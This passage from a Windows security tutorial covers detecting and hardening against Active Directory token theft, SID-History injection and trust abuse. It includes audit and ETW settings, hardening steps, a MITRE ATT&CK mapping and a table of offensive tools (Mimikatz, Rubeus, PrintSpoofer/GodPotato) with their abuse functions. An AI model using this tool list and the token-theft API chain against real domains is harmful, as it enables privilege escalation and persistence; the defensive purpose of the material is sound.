auditpol /set /subcategory:"Directory Service Changes" /success:enable

And command-line capture for 4688 via GPO: Computer Configuration → Administrative Templates → System → Audit Process Creation → Include command line in process creation events = Enabled.

ETW providers for EDR-style detection

ProviderWhy
Microsoft-Windows-Security-Auditing4624/4672/4765/4766/4769 stream
Microsoft-Windows-Kernel-Audit-API-CallsNtDuplicateToken, NtSetInformationThread (token assignment)
Microsoft-Windows-LDAP-ClientOutbound LDAP for objectClass=trustedDomain from non-DC hosts
Microsoft-Windows-SysmonEvents 1/10/17

Hardening

  • Remove SeImpersonatePrivilege from service accounts that do not host RPC/COM/IIS workloads. This single change kills the Potato family on that host.
  • Turn on SID filtering on every forest trust that does not have a hard business case for SIDHistory expansion: netdom trust child.lab.local /domain:partner.local /quarantine:yes.
  • Put privileged accounts in the Protected Users group. Side effects: no NTLM, no CredSSP delegation, no long-lived tickets, no cached credentials. Most token theft chains break against Protected Users members.
  • Enforce Authentication Silos with Authentication Policies on Tier 0 accounts to limit which systems can authenticate them.
  • Implement AD tiering so Tier 0 tokens never land on Tier 1/2 hosts. The vast majority of token theft incidents happen because a Domain Admin RDP’d into a workstation.
  • Use Privileged Access Workstations for all Tier 0 work and disable NTLM where possible.
  • Schedule recurring sIDHistory audits. Anything outside a documented migration scenario is incident-grade.
  • Rotate the krbtgt password twice with a 24-hour gap when you suspect compromise. Golden Tickets stop working only when the old hash falls out of the previous-password slot.

11. Tools for Identity and Trust Analysis

ToolUseLink
whoami /allFirst-look at your own token, SIDs, privileges, ILshipped
nltestTrust enumeration (/domain_trusts /all_trusts /v)shipped
netdomInspect/set SID filtering on a trust (/quarantine)shipped
seceditExport user rights assignments as INFshipped
Mimikatztoken::*, sid::patch, sid::add, lsadump::dcsyncgithub.com/gentilkiwi/mimikatz
RubeusTGT/TGS forgery, S4U abuse, ticket inspectiongithub.com/GhostPack/Rubeus
PowerViewGet-DomainTrust, Get-DomainGPOUserLocalGroupMappinggithub.com/PowerShellMafia/PowerSploit
SharpHound + BloodHoundAD relationship graph, trust mapping, ACL pathsbloodhound.specterops.io
WinDbg !token, !processKernel-level token introspectionlearn.microsoft.com
Process Hacker / System InformerLive token viewer per process and threadsysteminformer.sourceforge.io
PrintSpoofer / GodPotatoSeImpersonatePrivilege exploitation in labgithub.com/itm4n/PrintSpoofer
SysmonProvider for events 1/10/17sysinternals.com

12. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Access Token ManipulationT1134Sysmon 10 on lsass, ETW NtDuplicateToken
Token Impersonation/TheftT1134.001Sysmon 10 + 4672
Create Process with TokenT1134.0024688 with new logon ID, parent mismatch
Make and Impersonate TokenT1134.0034624 type 9 followed by 4672
Parent PID SpoofingT1134.004Sysmon 1 ParentImage mismatch
SID-History InjectionT1134.005Security 4765/4766
Domain Trust DiscoveryT1482Sysmon 1 (nltest), LDAP ETW (trustedDomain filter)
Pass the TicketT1550.0034769 with anomalous ticket options/encryption
Steal or Forge Kerberos TicketsT15584769 with weak enc types, off-hours TGS requests
Account Discovery: DomainT1087.0024661 SAM handle, LDAP large-result queries

Summary

  • Identity in AD is a token full of SIDs, not a username. The kernel compares SIDs in the token to SIDs in ACEs; everything else is decoration.
  • Privileges short-circuit DACL checks. SeDebug, SeImpersonate, SeBackup, SeRestore, SeTakeOwnership, and SeLoadDriver are admin equivalents whenever enabled in a token.
  • Token theft beats credential theft for stealth. OpenProcessTokenDuplicateTokenExCreateProcessWithTokenW borrows identity without touching a password; the Potato family delivers it from SeImpersonatePrivilege alone.
  • SIDHistory is a backdoor with a paper trail. Watch for events 4765/4766, and audit sIDHistory directly; group-membership audits will not catch it.
  • The forest is the security boundary, not the domain. Within-forest trusts disable SID filtering by default; verify with netdom /quarantine and enable it on every trust that does not require SIDHistory expansion.
  • Detection lives in Sysmon 1/10/17, Security 4624/4672/4688/4765/4769, and ETW around Ntoskrnl token APIs. Wire them up before you need them.

Related Tutorials

References

Get new drops in your inbox

Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.